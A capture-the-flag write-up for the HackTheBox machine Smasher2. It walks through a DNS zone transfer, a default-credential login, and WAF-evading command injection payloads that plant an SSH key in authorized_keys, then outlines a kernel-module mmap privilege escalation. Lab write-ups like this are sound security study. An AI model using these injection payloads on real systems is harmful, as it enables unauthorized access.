HTB Smasher2 Write-up

3 minute read

Smasher2

Summary


Smasher2 is a difficult 50 points machine on hackthebox, involving some guessing to get the user flag (because the author left in an unintended solution), and a custom kernel exploit to get root.

User Flag


The initial scan shows the following ports:

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 23:a3:55:a8:c6:cc:74:cc:4d:c7:2c:f8:fc:20:4e:5a (RSA)
|   256 16:21:ba:ce:8c:85:62:04:2e:8c:79:fa:0e:ea:9d:33 (ECDSA)
|_  256 00:97:93:b8:59:b5:0f:79:52:e1:8a:f1:4f:ba:ac:b4 (ED25519)
53/tcp open  domain  ISC BIND 9.11.3-1ubuntu1.3 (Ubuntu Linux)
| dns-nsid:
|_  bind.version: 9.11.3-1ubuntu1.3-Ubuntu
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Tcp port 53 is open - this is unusual and often an indicator that a zone transfer is needed in CTFs. We do the transfer and get the following results:

dig axfr @10.10.10.135 smasher2.htb

; <<>> DiG 9.11.5-P4-5.1-Debian <<>> axfr @10.10.10.135 smasher2.htb
; (1 server found)
;; global options: +cmd
smasher2.htb.		604800	IN	SOA	smasher2.htb. root.smasher2.htb. 41 604800 86400 2419200 604800
smasher2.htb.		604800	IN	NS	smasher2.htb.
smasher2.htb.		604800	IN	A	127.0.0.1
smasher2.htb.		604800	IN	AAAA	::1
smasher2.htb.		604800	IN	PTR	wonderfulsessionmanager.smasher2.htb.
smasher2.htb.		604800	IN	SOA	smasher2.htb. root.smasher2.htb. 41 604800 86400 2419200 604800
;; Query time: 37 msec
;; SERVER: 10.10.10.135#53(10.10.10.135)
;; WHEN: Sat Jun 29 16:48:25 CEST 2019
;; XFR size: 6 records (messages 1, bytes 242)

We found a vhost “wonderfulsessionmanager.smasher2.htb” and use it in firefox to have a look at the webpage. There is a login field where we try some credentials, eventually succeeding with ‘Administrator:Administrator’. This is the unintended part, as the password was supposed to be something more difficult and the only way in through exploitation of the web application.

login success

We can now send a POST-Request to “http://wonderfulsessionmanager.smasher2.htb/api/fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8/job” to interact with the API. We don’t really know which parameters it takes though. When sending something we fortunately get an error which reveals the needed parameter:

POST /api/fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8/job HTTP/1.1
Host: wonderfulsessionmanager.smasher2.htb
Content-type: application/json
Cookie: session=eyJpZCI6eyIgYiI6Ill6UTBNRGc0WVRZNU56UmhPVFkxTXpCak4yWmtZamhrTTJFM01UQTNNbVV6WW1ZNE56VmhNQT09In19.XReHPg.2KfK-afS4nWhnGwN-CFcsod_k5U
Content-Length: 17

{"cmd": "i${x}d"}

HTTP/1.1 200 OK
Date: Sat, 29 Jun 2019 15:44:56 GMT
Server: Werkzeug/0.14.1 Python/2.7.15rc1
Content-Type: application/json
Content-Length: 57
Vary: Cookie
{"result":"Missing schedule parameter.","success":false}

Note that we can not just write “id” because the WAF will catch it - when using “i${x}d” we insert a substitution that will be replaced with an empty string, bypassing the WAF. When using the schedule parameter we add our public key to authorized keys, resulting in a ssh connection:

{"schedule":"echo${IFS}<key in b64>${IFS}>t"}

{"schedule":"m${x}kd${x}ir$IFS.$x.$x/.${x}s${x}s${x}h"}

{"schedule":"base64$IFS-${x}d<t>.$x.$x/.${x}s${x}s${x}h/authorized_keys"}

ssh -i xct.key dzonerzy@smasher2.htb

userflag

Root Flag


We notice that the user is in the group “adm”:

dzonerzy@smasher2:~$ id
uid=1000(dzonerzy) gid=1000(dzonerzy) groups=1000(dzonerzy),4(adm),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare)

This is often a hint to look for log files as members of the adm can usually read them. In “auth.log” we find the following:

May  9 11:19:53 smasher2 sudo:     root : TTY=unknown ; PWD=/ ; USER=dzonerzy ; COMMAND=/bin/bash -c cd /home/dzonerzy/smanager && ./runner.py 2>&1 > /dev/null &
May  9 11:19:53 smasher2 sudo:     root : TTY=unknown ; PWD=/ ; USER=root ; COMMAND=/sbin/insmod /lib/modules/4.15.0-45-generic/kernel/drivers/hid/dhid.ko

Root inserted a kernel module which is suspicious. Running strings on the LKM shows the following:

This is the right way, please exploit this shit!

We copy over the binary with scp to our box and start to analyze it with ghidra.The LKM implements a character device, which we can open, read, close and use mmap on. We create a Ubuntu VM, insert the module and play around a bit. After a while we notice that the mmap implementation is broken, which leads to arbitrary mapping of memory as root. To exploit the issue we use a common exploit method, searching for the credential structure of our process and overwriting the ids with zeros to elevate the process. The complete exploit can be found here.

rootflag

Updated: